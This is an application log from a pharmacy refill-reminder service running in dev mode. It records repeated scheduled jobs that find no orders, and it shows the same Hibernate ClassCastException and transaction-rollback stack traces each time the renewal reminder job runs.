...................Start Next Refill Reminder Job.............. 2024-02-26 09:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 09:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 09:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 09:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at 